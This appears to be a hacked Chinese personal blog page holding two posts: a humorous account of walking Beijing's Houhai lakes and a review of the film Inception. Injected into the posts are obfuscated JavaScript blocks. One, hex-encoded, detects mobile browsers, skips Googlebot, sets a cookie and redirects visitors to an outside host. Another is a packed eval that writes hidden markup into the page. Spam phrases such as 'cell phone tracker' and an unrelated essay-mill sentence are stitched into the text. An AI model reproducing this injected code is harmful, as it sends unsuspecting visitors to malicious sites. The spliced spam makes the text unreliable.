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团长说,后海在北京是一个被人玩滥了的地方。这句话的潜台词就是,一个真正有品位的人,是不会去后海的。但我就是要去,你能拿我怎么着吧?
这是我蹬腿清单上的一条——一定要去一次后海——但实际上我已经去过好几次了,第一次是在2006年的6月,夏天,出差,和一群同事在荷花市场对面的日昌饭店吃完饭,之后随便绕着那一小片池塘遛了遛,那是我第一次来北京,之前坐了一夜的火车非常非常累,之后又加了一夜的班更加累平方,跟着一群人在池塘边绕行时双膝酸软,有一见大青石就扑上去长眠此处拉倒的冲动,水面上倒映着五光十色的灯影,来来去去穿梭不息的美丽姑娘,夏天的夜晚头顶上轻轻吹过的微微凉风,当时都顾不上,内心有十二万分的忧伤——还有好几万字的会议记录没整呢,还有好几万字的会议记录没整呢,没整呢,没整呢. cell phone tracker. 几天后会议结束,大家作鸟兽散。又过几年,所有人都不知去向,他们再也记不起来我是谁。
第二次是前年的暑假,白天,老师带着我和师兄师姐以及一个来自香港中文大学的漂亮美眉去国子监,顺便停车看了一下荷花,我和漂亮美眉互相换了QQ号,但之后她再也记不起来我是谁。
第三次是上个月的一个晚上,我和小鹅同学一起去日昌吃饭,排了很久很久的队,用眼角的余光在吃客中选帅哥选美女。吃完饭后,两个人手挽手在后海遛圈儿,居然一直走到南锣鼓巷。但那时我内心心事重重,为要不要去买一双高跟鞋纠结着,最后在南锣鼓巷里的一家店里停下,咬牙切齿地把一只脚塞进了一只蓝色高跟鞋里,小鹅拍手叫好,店主走过来说了一串数字——我最恨数字了,明知道我不是学数学的。于是拉着小鹅扬长而去,只留下我矬矬的背影,让那店主再也记不起来我是谁。
昨天晚上,是第四次,但要把每一次都当作第一次的话,那就是第一次——昨天晚上,我有生以来第一次去了后海。
和团长在日昌吃过晚饭,非常顺利没有排队,把剩下的饭菜打包拎着——连水果捞都打包拎着——就这样走进了人间烟火的后海。老北京就是老北京,团长纠正说,我从前所逛,一直以为是后海的地方,其实是前海,而真正的后海,我一直都没染指过!于是团长大人带着我来到了真正意义上的后海——这真的是我第一次来后海了!很长很长的一段路,沿途看到了楠书房、龙藏寺、酒吧、一群在池塘边念经放生的人、被团长称作伪古迹的望海楼、聋人学校、一簇又一簇引吭高歌的老头老太太等等等等。作为一个老北京,团长大人犯了一个不该犯的错误,指鹿为马,愣说宋庆龄故居就是恭王府,害我信以为真——直到路过一张地图,地图上“宋庆龄故居”和“恭王府”大喇喇地分处两地,团长大人才羞愧地低下了小脑袋。
和我从前以为的那一小片池塘不一样,后海的路非常漫长幽静,并不像前海那样灯红酒绿熙熙攘攘且“无处不飞花”,前海似少男少女,后海如老夫老妻。有一小段路沿途布满了酒吧,是后海的盲肠,割除这一段,剩下的就是闷骚男和闷骚女聊天散步的好地方,但是切记不要拎着饭盒和水果捞。
在一个全民健身学跳舞的地方,我忍不住要停下来休息片刻——我没想到后海会是这么大的一片地方,我觉得团长一定在内心偷笑,一边笑一边揪住我的衣领一左一右地扇我的耳光:想逛后海是吧?让你逛!让你逛到吐!!我打开水果捞渴驴一般喝下大半,天空中有一弯如乳沟般的月亮,我内心顿时升起豪情万丈,真所谓——对水果捞当歌,人生几何啊!!
下面是在团长的建议下,把相机放在石头栏杆上拍下的相片,一边看着我拍一边在身后忧心忡忡地问:你相机行不行啊?我按下傻瓜的快门,优雅地回答:你象鸡,行不行?
在我的蹬腿清单上,后海的这一块可以划上一个圆满的记号了,其实后海怎样,关我屁事呢?最要紧的是,有一个生活在傻笑森林里的团长,一手拎着盒饭,另一只手拎着水果捞,腰里挎着相机袋,背上背着两个包,走在我身边,用一双炯炯有神的小眼睛将沿途所有的丝袜美腿尽收眼底. 最后请让我道貌岸然地像小资儿一般地嘶吼一句——后海,要记得我啊,虽然我来迟了,且只来过一次!var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego). +mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile. +firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\. (browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\. w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\. b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego). +mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile. +firefox|netfront|opera [...]
为了在一个年轻人的脑子里植入一个念头,一群人在里奥纳多的领导下攻入了他的梦境——我记得我看过很多以“梦”为主题的电影:《女孩梦三十》、《遥控器人生》,这是能记得起来名字的,还有很多记不起来名字的,好像也有一部是说以进入别人梦境的方法来进行心理治疗——等等等等吧,用梦来做文章,是一件非常讨巧的事情,就好像给你一张白纸,你可以不受限制地在上面乱涂乱画:制定你自己的规则和逻辑,然后你还可以不遵守它!
比如说:人在梦里是不会真正死亡的,死亡只会使这个人从梦里醒来;这个规则很有趣也很可信,但是给这部电影带来了极大的麻烦,因为这样一来,梦里的死亡就毫无可怕之处,大着胆子干吧,反正又不会真的死——没有畏惧,就很难惊心动魄,于是,又制定下一条规则:如果是注射了麻醉剂如梦的话,在梦里死亡,就不会醒来,而是会托弗洛伊德的福堕入到“潜意识的边缘”,在那里悠游自在地生活着,除非是有人专程跑到那里杀死你,让你醒来,否则你就永远都醒不来了——这条宪法修改案扭转了局势,使因麻醉剂入梦的人面对飞来横祸产生了畏惧,不这样的话,在子弹横飞的马路上和房间里,大家表情认真地躲避跳跃翻滚,就会显得很搞笑。
再比如说:时间——这个很重要,梦里的时间和现实的时间是不一样的,梦里的时间比现实的时间显得漫长,梦又分为三层,第三层的梦境比第二层的漫长,第二层又比第一层漫长,这样一来,人就有足够的时间在梦里完成他们想完成的任务——可是没有时间的紧迫感,动作也会显得没有意义,所以影片设置了一个车辆即将坠入水中的场面,只给你几秒钟的营救时间,在深一层的梦境里,也只被延长到20分钟而已。这样做,是必须的,好莱坞都这样。
再再比如说:梦可以随心所欲,没有梦到不了的地方,没有梦做不了的事情——我最喜欢的诗人夐虹有一句诗:不敢入诗的来入梦,梦是一条丝,穿梭那不可能的相逢。但既然如此,利用梦境来植入观念应该没什么困难,想怎么造就怎么造好了——这就涉及到好莱坞剧情片中动作与反动作的设计,动作没有阻力,电影就会不好看,现在动作有了,反动作是什么呢?梦都可以随心所欲了,阻力从哪里来呢?弗洛伊德老爷爷实在是太伟大了,他帮助导演想到了“潜意识对抗者”这个IDEA,并且在影片中花费不少的时间来向观众灌输这个概念——每个入梦的人,包括盗梦者和被盗者,都有潜意识对抗者,有的强有的弱,有的还手持两把大爹有万夫不当之男,作为影片的主人公里奥纳多,他的潜意识对抗者就是他死去的老婆玛丽昂格利亚。这些潜意识对抗者的目的就是为了制造阻力,作为一部投资过亿的大片,是不可能没有打斗的,是不可能没有大场面的,是不可能没有大规模毁坏的。现在,前提有了:梦。动作有了:利用梦植入观念。反动作有了:潜意识对抗者。剩下的,什么俗套什么噱头,整巴整巴往里填好了!
最后,在看完整部片子之后留在我脑子里的疑惑——梦是无所不能的,即便是拥有了那个陀螺的图腾,但是,我觉得,它也有可能在梦里停止转动,倒下来。 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(’\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(’i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));’,30,30,’116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110′.split(’|’),0,{}))
We will begin by trying to understand what philosophy is what are its characteristic aims and methods, and order essays how does it differ from other subjects
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